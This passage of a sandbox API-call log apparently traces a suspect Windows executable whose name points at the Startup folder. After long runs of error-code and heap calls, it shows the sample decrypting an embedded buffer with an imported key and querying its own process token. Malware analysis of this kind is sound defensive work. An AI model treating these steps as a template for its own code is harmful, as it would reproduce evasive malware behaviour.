\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x16\xd3\xb9\x09\x80\xfa\x20", lpUsedDefaultChar=0x0) returned 256 [0031.903] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x12af728, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0031.903] GetLastError () returned 0x0 [0031.903] SetLastError (dwErrCode=0x0) [0031.903] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.904] GetLastError () returned 0x0 [0031.904] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.905] SetLastError (dwErrCode=0x0) [0031.905] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.906] GetLastError () returned 0x0 [0031.906] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.907] SetLastError (dwErrCode=0x0) [0031.907] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x73) returned 0x7c1990 [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.914] SetLastError (dwErrCode=0x0) [0031.914] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.919] GetLastError () returned 0x0 [0031.919] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.920] GetLastError () returned 0x0 [0031.920] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.921] SetLastError (dwErrCode=0x0) [0031.921] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.922] GetLastError () returned 0x0 [0031.922] SetLastError (dwErrCode=0x0) [0031.923] GetLastError () returned 0x0 [0031.923] SetLastError (dwErrCode=0x0) [0031.923] GetLastError () returned 0x0 [0031.923] SetLastError (dwErrCode=0x0) [0031.923] GetLastError () returned 0x0 [0031.923] SetLastError (dwErrCode=0x0) [0031.923] GetLastError () returned 0x0 [0031.923] SetLastError (dwErrCode=0x0) [0031.923] GetLastError () returned 0x0 [0031.923] SetLastError (dwErrCode=0x0) [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x98) returned 0x7c1a10 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1f) returned 0x7c1ab0 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x36) returned 0x7c1ad8 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x37) returned 0x7c1b18 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x3c) returned 0x7c1b58 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x31) returned 0x7c1ba0 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x17) returned 0x7c1be0 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x24) returned 0x7c1c00 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x14) returned 0x7c1c30 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xd) returned 0x7c1c50 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x25) returned 0x7c1c68 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x39) returned 0x7c1c98 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7c1ce0 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x17) returned 0x7c1d00 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xe) returned 0x7c1d20 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x69) returned 0x7c1d38 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x3e) returned 0x7c1db0 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1b) returned 0x7c1df8 [0031.923] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1d) returned 0x7c1e20 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x48) returned 0x7c1e48 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x12) returned 0x7c1e98 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7c1eb8 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1b) returned 0x7c1ed8 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x24) returned 0x7c1f00 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x29) returned 0x7c1f30 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c1f68 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x41) returned 0x7c1f90 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x17) returned 0x7c1fe8 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xf) returned 0x7c2008 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x16) returned 0x7c2020 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x2a) returned 0x7c2040 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x29) returned 0x7c2078 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x15) returned 0x7c20b0 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c20d0 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x2a) returned 0x7c20f8 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x12) returned 0x7c2130 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7c2150 [0031.924] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x46) returned 0x7c2170 [0031.924] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c11f8 | out: hHeap=0x7c0000) returned 1 [0031.925] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0031.925] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x80) returned 0x7c11f8 [0031.925] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x12a81f6) returned 0x0 [0031.925] RtlSizeHeap (HeapHandle=0x7c0000, Flags=0x0, MemoryPointer=0x7c11f8) returned 0x80 [0031.925] GetLastError () returned 0x0 [0031.925] SetLastError (dwErrCode=0x0) [0031.925] GetLastError () returned 0x0 [0031.925] SetLastError (dwErrCode=0x0) [0031.925] GetLastError () returned 0x0 [0031.925] SetLastError (dwErrCode=0x0) [0031.925] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.926] SetLastError (dwErrCode=0x0) [0031.926] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.927] SetLastError (dwErrCode=0x0) [0031.927] GetLastError () returned 0x0 [0031.928] SetLastError (dwErrCode=0x0) [0031.928] GetLastError () returned 0x0 [0031.928] SetLastError (dwErrCode=0x0) [0031.928] GetLastError () returned 0x0 [0031.928] SetLastError (dwErrCode=0x0) [0031.929] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x30) returned 0x7c1280 [0031.929] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x3340) returned 0x7c21c0 [0031.929] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x174) returned 0x7c12b8 [0031.929] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10) returned 0x7c1438 [0031.929] CryptAcquireContextW (in: phProv=0x12afcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x12afcf0*=0x2e5138) returned 1 [0031.944] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f9a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20fa0c | out: phKey=0x20fa0c*=0x2e4f20) returned 1 [0031.944] CryptSetKeyParam (hKey=0x2e4f20, dwParam=0x1, pbData=0x20f9f4, dwFlags=0x0) returned 1 [0031.945] CryptDecrypt (in: hKey=0x2e4f20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1438, pdwDataLen=0x20f9c0 | out: pbData=0x7c1438, pdwDataLen=0x20f9c0) returned 1 [0031.945] CryptDestroyKey (hKey=0x2e4f20) returned 1 [0031.945] GetTickCount () returned 0x18dec [0031.945] GetLastError () returned 0x0 [0031.945] SetLastError (dwErrCode=0x0) [0031.945] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x20fa30, cchData=32 | out: lpLCData="\x03") returned 16 [0031.946] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1c) returned 0x7c1450 [0031.946] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1c) returned 0x7c1478 [0031.946] GetVersion () returned 0x1db10106 [0031.946] GetCurrentProcess () returned 0xffffffff [0031.946] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x20fa18 | out: TokenHandle=0x20fa18*=0x80) returned 1 [0031.947] GetTokenInformation (in: TokenHandle=0x80, TokenInformationClass=0x14, TokenInformation=0x20fa10, TokenInformationLength=0x4, 